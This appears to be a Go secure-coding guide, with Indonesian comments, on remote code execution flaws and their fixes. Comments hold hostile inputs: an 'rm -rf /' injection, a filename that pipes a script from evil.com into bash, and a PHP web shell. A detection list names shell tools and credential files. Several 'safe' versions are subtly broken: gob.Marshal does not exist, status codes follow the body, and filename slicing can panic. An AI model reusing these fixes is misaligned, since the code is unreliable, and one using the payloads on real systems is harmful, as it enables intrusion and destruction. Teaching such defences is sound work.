Remote Code Execution #

// ANTI-PATTERN 1: shell=True dengan input user — sangat berbahaya
func pingHostUnsafe(hostname string) string {
    // Jika hostname = "google.com; rm -rf /"
    // Command menjadi: ping google.com; rm -rf /
    out, _ := exec.Command("sh", "-c", fmt.Sprintf("ping -c 4 %s", hostname)).Output()
    return string(out)
}

// ANTI-PATTERN 2: os.system dengan input user
func processImageUnsafe(filename string) {
    // Jika filename = "image.jpg; curl http://evil.com/backdoor.sh | bash"
    exec.Command("sh", "-c", fmt.Sprintf("convert %s output.png", filename)).Run()
}

// BENAR: gunakan list argument, tidak invoke shell
func pingHostSafe(hostname string) (string, error) {
    // Validasi hostname terlebih dahulu
    if !hostnameRegex.MatchString(hostname) {
        return "", errors.New("invalid hostname")
    }

    // Gunakan list — setiap argumen adalah satu unit terpisah
    // Shell tidak diinvoke, tidak ada parsing metacharacter
    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()
    out, err := exec.CommandContext(ctx, "ping", "-c", "4", hostname).Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}

// BENAR untuk image processing: gunakan library, bukan shell command
func processImageSafe(filePath string) error {
    // Gunakan library image (mis. golang.org/x/image), bukan shell command
    img, err := openImage(filePath)
    if err != nil {
        return err
    }
    return saveImageAsJPEG(img, "output.jpg")
}

// Go tidak punya eval — bahaya ekuivalennya adalah mengompilasi/mengeksekusi
// kode dinamis atau menginvoke interpreter dengan input user.
// ANTI-PATTERN: menjalankan input user melalui interpreter atau plugin loader
func calculateUnsafe(expression string) any {
    // mis. mengeksekusi script melalui embedded interpreter
    // result := interpreter.Eval(expression)  // eksekusi kode arbitrer!
    return nil
}

// Template string yang tidak aman
func renderTemplateUnsafe(template string, userData map[string]any) string {
    // Jika template = "{user.__class__.__mro__[1].__subclasses__()}"
    // penggantian string naif bisa mengakses state internal
    return naiveFormat(template, userData)
}

// BENAR: jangan pernah eksekusi input user.
// Untuk kalkulasi matematika: gunakan safe expression parser (e.g. govaluate)
// atau recursive-descent parser kecil yang hanya menerima angka dan + - * /
func safeEvalMath(expression string) (float64, error) {
    p := &mathParser{s: expression}
    v, err := p.parseExpr()
    if err != nil {
        return 0, errors.New("invalid expression")
    }
    if p.pos != len(p.s) {
        return 0, errors.New("invalid expression")
    }
    return v, nil
}

// safeEvalMath("2 + 3 * 4") → 14
// safeEvalMath("__import__('os')") → error (hanya angka dan operator)

// ANTI-PATTERN: deserialize data dari user dengan format binary native
func processData(data []byte) {
    // encoding/gob (dan format mirip gob) merekonstruksi objek arbitrer
    // dari bytes — dengan data yang dikontrol attacker ini bisa memicu
    // behavior yang tidak diharapkan saat decoding
    var obj any
    if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
        return
    }
    process(obj)
}

// BENAR: gunakan format yang aman dari input user
func parseConfigSafe(jsonString string) (map[string]any, error) {
    // JSON tidak bisa mengeksekusi kode saat parsing
    // Tapi tetap validasi schema setelah parsing
    var data map[string]any
    if err := json.Unmarshal([]byte(jsonString), &data); err != nil {
        return nil, errors.New("invalid JSON format")
    }

    // Validasi schema
    if err := validateConfigSchema(data); err != nil {
        return nil, err
    }
    return data, nil
}

// Jika harus menggunakan format binary (internal saja, bukan dari user):
// Sign data sebelum simpan, verifikasi signature sebelum load
func safeSerialize(obj any) ([]byte, error) {
    data, err := gob.Marshal(obj)
    if err != nil {
        return nil, err
    }
    mac := hmac.New(sha256.New, []byte(secretKey))
    mac.Write(data)
    sig := mac.Sum(nil)
    return append(sig, data...), nil
}

func safeDeserialize(signedData []byte) (any, error) {
    sig, data := signedData[:32], signedData[32:]
    mac := hmac.New(sha256.New, []byte(secretKey))
    mac.Write(data)
    if !hmac.Equal(sig, mac.Sum(nil)) {
        return nil, errors.New("data has been tampered with")
    }
    var obj any
    if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
        return nil, err
    }
    return obj, nil
}

// ANTI-PATTERN: menyimpan file upload di web root dan langsung serve
func uploadFile(w http.ResponseWriter, r *http.Request) {
    file, header, _ := r.FormFile("file")
    defer file.Close()
    // Simpan langsung di folder yang bisa diakses publik
    os.WriteFile("/var/www/html/uploads/"+header.Filename, readAll(file), 0o644)
    json.NewEncoder(w).Encode(map[string]string{"url": "/uploads/" + header.Filename})
}

// Attacker upload file bernama "shell.php" dengan konten:
// <?php system($_GET['cmd']); ?>
// Lalu akses: /uploads/shell.php?cmd=whoami
// → Server menjalankan command sebagai web user

// BENAR: file upload yang aman
var uploadDir = "/var/uploads" // DI LUAR web root!
var allowedMimeTypes = map[string]string{
    "image/jpeg": ".jpg", "image/png": ".png",
    "image/gif": ".gif", "image/webp": ".webp",
}

func uploadFileSafe(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        json.NewEncoder(w).Encode(map[string]string{"error": "No file provided"})
        w.WriteHeader(400)
        return
    }
    defer file.Close()

    // 1. Validasi MIME type dari konten file
    buf := make([]byte, 2048)
    n, _ := file.Read(buf)
    detectedMime := http.DetectContentType(buf[:n])

    ext, ok := allowedMimeTypes[detectedMime]
    if !ok {
        json.NewEncoder(w).Encode(map[string]string{"error": "File type not allowed: " + detectedMime})
        w.WriteHeader(400)
        return
    }

    // 2. Generate nama file baru yang aman — jangan gunakan nama dari user
    safeFilename := randomHex(16) + ext

    // 3. Simpan di luar web root
    savePath := filepath.Join(uploadDir, safeFilename)
    full, _ := io.ReadAll(file)
    os.WriteFile(savePath, full, 0o600)

    // 4. Simpan metadata di database (referensi ke file)
    dbFile := UploadedFile.Create(map[string]any{
        "user_id":       currentUser.ID,
        "filename":      safeFilename,
        "original_name": header.Filename[:255],
        "mime_type":     detectedMime,
        "size":          len(full),
    })

    json.NewEncoder(w).Encode(map[string]string{"file_id": dbFile.ID})
    w.WriteHeader(201)
}

// 5. Serve file melalui endpoint yang memvalidasi akses
func serveFile(w http.ResponseWriter, r *http.Request, fileID int) {
    dbFile := UploadedFile.GetOr404(fileID)

    // Validasi akses
    if dbFile.UserID != currentUser.ID {
        http.Error(w, "Forbidden", 403)
        return
    }

    // Serve file langsung (bukan redirect ke path fisik)
    http.ServeFile(w, r, filepath.Join(uploadDir, dbFile.Filename))
}

// ANTI-PATTERN: template dari user input
func renderTemplateUnsafe(w http.ResponseWriter, r *http.Request) {
    templateStr := r.URL.Query().Get("template")

    // Jika template = "{{7*7}}" → server menghitung dan mengembalikan "49"
    // Ini konfirmasi SSTI vulnerable!

    // html/template parsing dari string — dengan input user ini berbahaya
    t, _ := template.New("t").Parse(templateStr) // DANGEROUS
    t.Execute(w, nil)
}

// BENAR: template dari file, bukan dari user
func renderTemplateSafe(w http.ResponseWriter, r *http.Request) {
    // Template ada di filesystem yang dikontrol developer
    // User hanya bisa pilih dari template yang sudah ada
    templateName := r.URL.Query().Get("template")
    if templateName == "" {
        templateName = "default"
    }

    // Whitelist template yang boleh digunakan
    allowedTemplates := map[string]bool{"welcome": true, "confirmation": true, "invoice": true}
    if !allowedTemplates[templateName] {
        templateName = "default"
    }

    // Render template yang sudah ada (di-parse saat startup dari filesystem)
    templates.ExecuteTemplate(w, "emails/"+templateName+".html", currentUser)
}

// Jika user perlu kustomisasi konten (bukan template):
// Berikan placeholder yang spesifik, bukan template engine penuh
func customizeEmail(w http.ResponseWriter, r *http.Request) {
    templateName := "confirmation"

    // User hanya bisa isi placeholder yang spesifik
    userMessage := r.FormValue("message")

    // Escape user message sebelum dimasukkan ke template
    safeMessage := template.HTMLEscapeString(userMessage)

    // renderTemplate(w, "emails/"+templateName+".html",
    //     map[string]any{"user_message": safeMessage}) // escaped string, bukan template
}

// Pattern yang menunjukkan upaya RCE dalam log
var rceIndicators = []string{
    // Command injection patterns
    ";", "&&", "||", "|", "`", "$(",
    "bash", "sh", "cmd.exe", "powershell",
    "/bin/", "/etc/passwd", "/etc/shadow",
    "whoami", "id", "uname", "cat /etc",

    // SSTI patterns
    "{{", "}}", "${", "#{",
    "__class__", "__mro__", "__subclasses__",

    // Path traversal (bisa berujung RCE)
    "../", `..\`, "%2e%2e",

    // Encoded null bytes
    "%00", "\x00",
}

func detectRCEAttempt(requestData string) bool {
    lowerData := strings.ToLower(requestData)
    for _, indicator := range rceIndicators {
        if strings.Contains(lowerData, strings.ToLower(indicator)) {
            return true
        }
    }
    return false
}

// Middleware yang memonitor request
func monitorRequests(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Monitor query parameters
        for param, value := range r.URL.Query() {
            for _, v := range value {
                if detectRCEAttempt(v) {
                    securityLogger.Warn("Potential RCE attempt detected",
                        "ip", r.RemoteAddr,
                        "path", r.URL.Path,
                        "param", param,
                        "value", truncate(v, 200), // limit panjang log
                        "user_id", currentUserID(r),
                        "user_agent", r.UserAgent(),
                    )
                    // Opsional: tambahkan ke watchlist untuk monitoring lebih ketat
                }
            }
        }
        next.ServeHTTP(w, r)
    })
}

// ✗ Anti-pattern 1: shell command dengan user input
exec.Command("sh", "-c", fmt.Sprintf("convert %s output.jpg", userFilename)).Run()
// ✓ Solusi: list arguments + validasi input + gunakan library

// ✗ Anti-pattern 2: mengeksekusi input user sebagai kode
// Go tidak punya eval — bahayanya adalah meneruskan input user ke embedded interpreter
// ✓ Solusi: jangan pernah eksekusi input user — gunakan safe parser jika perlu kalkulasi

// ✗ Anti-pattern 3: gob.Unmarshal dari user input
gob.NewDecoder(bytes.NewReader(requestBody)).Decode(&obj)
// ✓ Solusi: gunakan JSON dari user, sign data binary untuk internal

// ✗ Anti-pattern 4: file upload di web root tanpa validasi MIME
os.WriteFile("/var/www/html/uploads/"+filename, content, 0o644)
// ✓ Solusi: simpan di luar web root, validasi MIME dari konten, generate nama baru

// ✗ Anti-pattern 5: template engine dari user input
template.New("t").Parse(userTemplate) // BERBAHAYA
// ✓ Solusi: template dari file system, user hanya pilih dari whitelist

// ✗ Anti-pattern 6: dependency tidak pernah di-audit
// go.mod tanpa pin version / tidak pernah menjalankan govulncheck
// ✓ Solusi: pin version, scan CVE di CI, enable Dependabot

// ✗ Anti-pattern 7: aplikasi berjalan sebagai root
// USER root di Dockerfile (default jika tidak diset)
// ✓ Solusi: buat dedicated user, jalankan sebagai non-root

// ✗ Anti-pattern 8: file yang diupload bisa diakses langsung via URL
// GET /uploads/shell.php → web server eksekusi PHP
// ✓ Solusi: serve file melalui aplikasi dengan validasi, bukan langsung via web server